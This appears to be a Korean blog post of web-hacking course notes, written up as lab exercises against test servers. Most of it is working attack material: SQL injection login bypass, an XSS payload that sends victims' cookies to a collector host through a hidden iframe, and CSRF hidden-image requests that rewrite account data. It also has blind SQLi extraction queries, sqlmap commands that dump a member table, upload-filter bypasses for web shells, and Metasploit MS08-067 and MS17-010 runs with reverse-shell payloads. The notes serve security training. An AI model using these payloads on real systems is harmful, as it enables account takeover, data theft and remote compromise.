  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

300x250
320x100

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

210.121.193.52 : 테스트 서버

http://192.168.1.29/ : 테스트 서버

http://210.121.193.53/gmshop/ : 테스트 하기 좋은 사이트

진단 필요한 툴

  • Set character encoding : 화면이 깨져 보일때 사용할 수 있는 크롬 확장자 → Korean EUCKR 선택
  • 드래그프리 : 사이트 복사하기 힘들때 사용하는 크롬 확장프로그램
  • powertoys : 캡처할때 캡처 안되는 그림파일 같은 것들을 캡쳐해서 붙여넣기 하면 텍스트로 붙여넣어짐
  • editcookies : 세션 값을 보는법 크롬 확장프로그램

XSS vs CSRF 주관식 (비교) 서술해야함

XSS

세션을 탈취, 악성코드 연결

Reflective XSS

  • 클릭을 유도

Stored XSS

  • 게시물을 보게 하는 것

 

세션 값을 보는법

크롬 확장앱 : editcookies

개발자모드 → 어플리케이션 → 쿠키를 통해 쿠키값을 확인 할 수 있고 수정 할 수 있다.

 

개발자모드 → 네트워크 들어가서 웹 페이지를 새로고침을 하면 시간적 요소도 볼 수 있다.

이것을 통해 어디서 지연이 생기는지 파악할 수 있다.

 

실습 4 SQLi 로 인증우회 (실습안함)

실습 4 SQLi 로 인증우회

  1. 관리자 페이지 찾기

구글검색 or Nikto or Nmap or OWASP-ZAP 등

nikto -h http://210.121.193.52 (취약점과 중요 경로) nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용) nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52 nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '

스크립트 문자열 우회방법

(1)

아래와 같이 겹쳐쓰면, script 하나가 필터링되고 나머지가 붙으면서 스크립트가 실행이 된다.

<input type="text" name="w" value=" "><script>alert(document.cookies);</script>-- " size="15">

<script scr= "http://210.121.193.53/a.js></script>

이 코드는 외부 JavaScript 파일을 불러오는 데 사용됩니다.

시나리오

    1. 브라우저에서 테스트1 / 1111 으로 로그인을 한다.
    2. 새로운 브라우저를 열어 위의 쿠키값을 개발자모드 → 응용프로그램 → 쿠키값에 붙여넣기
      • Metasploitable2
      • bee-box

실습 5 XSS

    1. 210.121.193.52

      쿠키를 attacker에게 전송한는 스크립트로 게시물 내용에 적어 넣으면 됩니다. 크기가 0인 이미지이므로 보이지는 않습니다.

      [공격 실습] <script src= "http://210.121.193.53/a.js"></script>

      <a.js> document.write("<iframe src='http://210.121.193.53/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

CSRF 실습

210.121.193.52/login/member_modify.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>

(시나리오)

test2 가 스크립트 게시물을 읽을 경우 test1 의 정보를 불러와서 (주민번호를 제외한) 나머지 정보 수정할 때 적었던 내용들이 모두 test1 의 정보로 변경이 된다.

실습 6 CSRF

CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://~ " width=0 height=0> 으로 안보이는 이미지로 변환

다음을 게시물에 입력 <img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>


내 비밀번호는 안전할까?

https://www.security.org/how-secure-is-my-password/

숫자는 101010 ……. 총 자리 수 이런식으로 계산된다.


엔터프라이즈관리자 : DB를 관리하는 도구

SQL server _ server 그룹 _ local _ 데이터베이스 _ camel _ 테이블 → 모든사용자

http://210.121.193.52/[board/index.asp](http://192.168.145.136/board/index.asp)?cmd=view&gubun=gel&info_idx=3 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc), 1,1)) =97

실습7 Blind SQLi

실습7 blind SQL 인젝션

  1. 에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
  2. 문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
  3. blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
  4. ==> blind sql 인젝션 가능성 확인
  5. 아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
  6. substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
  7. between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
  8. 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
  9. 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다. 첫번째 테이블의 첫번째 글자 = a

  1. ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
  2. 세번째~ 글자를 모두 찾는다. 테이블 명 = admin
  3. 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

  1. 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
  2. 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
  3. 번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

  1. 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122

SQL map

쿠키를 가져와서 URL에 삽입한다.

sqlmap -u "http://192.168.1.23///board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db

실습 8 SQL map

실습8 SQL map

kali > sqlmap

  1. 취약한 부분 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI"
  2. db 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db
  3. table명 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -tables
  4. data 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -T member -dump

우회 방법

php;.jpg

php.x

asp.kr

inc

웹쉘 사용

http://210.121.193.52/board/upload

이러한 방식으로 웹쉘을 실행해서 내가 원하는 작업을 할 수 있다.

실습 10 파일다운로드

웹쉘 파일 압축 플어서 업로드

실습 11 Metasploit

kali 192.168.145.129 camel 192.168.145.136

nmap -sV 192.168.145.136

nmap --script vuln 192.168.145.136

smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).

msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run

back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell

300x250

+ Recent posts